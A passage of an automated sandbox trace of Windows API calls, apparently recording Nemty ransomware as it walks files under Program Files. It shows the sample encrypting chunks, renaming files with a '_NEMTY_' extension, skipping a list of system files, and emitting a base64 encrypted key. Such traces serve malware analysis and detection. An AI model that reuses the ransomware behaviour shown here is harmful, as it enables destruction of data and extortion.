lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.294] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.304] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.304] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.313] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.313] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.323] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.332] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.332] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.342] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.342] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.351] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.376] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.376] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.382] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.382] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0071.382] CloseHandle (hObject=0xffffffff) returned 0 [0071.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0071.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0071.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0071.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0071.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0071.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0071.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403e0 [0071.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404a8 [0071.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0071.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0071.383] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png._nemty_kgobjgd_")) returned 0 [0071.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0071.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0071.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0071.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0071.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0071.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0071.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0071.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0071.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0071.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.383] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1 [0071.383] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2=".") returned 1 [0071.383] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="..") returned 1 [0071.383] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="...") returned 1 [0071.383] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="windows") returned -1 [0071.383] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="$RECYCLE.BIN") returned 1 [0071.383] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="rsa") returned -1 [0071.383] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="NTDETECT.COM") returned -1 [0071.383] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="ntldr") returned -1 [0071.383] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="MSDOS.SYS") returned 1 [0071.383] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="IO.SYS") returned 1 [0071.383] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="boot.ini") returned 1 [0071.383] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="boot.ini") returned 1 [0071.383] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0071.383] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="ntuser.dat") returned -1 [0071.383] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="desktop.ini") returned 1 [0071.383] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="CONFIG.SYS") returned 1 [0071.384] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="RECYCLER") returned -1 [0071.384] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="BOOTSECT.BAK") returned 1 [0071.384] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="bootmgr") returned 1 [0071.384] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="programdata") returned -1 [0071.384] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="appdata") returned 1 [0071.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_loop.wmv", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0071.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_loop.wmv", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_loop.wmv", lpUsedDefaultChar=0x0) returned 14 [0071.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0071.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_loop.wmv", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0071.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_loop.wmv", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_loop.wmv", lpUsedDefaultChar=0x0) returned 14 [0071.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0071.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_loop.wmv", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0071.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_loop.wmv", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_loop.wmv", lpUsedDefaultChar=0x0) returned 14 [0071.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_loop.wmv", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0071.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_loop.wmv", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_loop.wmv", lpUsedDefaultChar=0x0) returned 14 [0071.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0071.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0071.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0071.384] Sleep (dwMilliseconds=0x5) [0071.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xde343a10, dwHighDateTime=0x1d561e7)) [0071.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xde343a10, dwHighDateTime=0x1d561e7)) [0071.399] GetLastError () returned 0x5 [0071.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.399] GetLastError () returned 0x5 [0071.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0071.399] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0071.399] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0071.399] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0071.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0071.400] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="DFHpTKrVk1ue2t9MU+W/WedJ8pzyFonn0BVFyUsBEsL4/HOW/qaA8ZEE2Gr8pWZB\r\n/upB8jEH9Y6MHFa6SeK6LzC/cHQWkDkoxq87CQF6nv92YW+83L+SsCNlitkyc9zB\r\nu2P3W8qMACo9yJ8m91VWFuLMhQ/n7gzCD0Dk3q3SrKV22bKR0p7fsf9W71Vc3LW1\r\ne4CSouRvPMCjzdunIvanply9p41IDIUqYJNl5nAba6JGoA/I/Wq6QYpspjRjyUz+\r\nAEeZf9Zt2oh1mYbAgu3rLEe0126bHOeJzDCGsfHFfksfLhUceKTQCXEmDQIyl5JY\r\n3zwpz6Esja0Y1WrYoAMIlg==\r\n", pcchString=0x653e91c) returned 1 [0071.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0071.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0071.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0071.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0071.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0071.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0071.400] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0071.401] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0071.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0071.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.401] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.410] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.410] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.421] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.421] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.440] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, 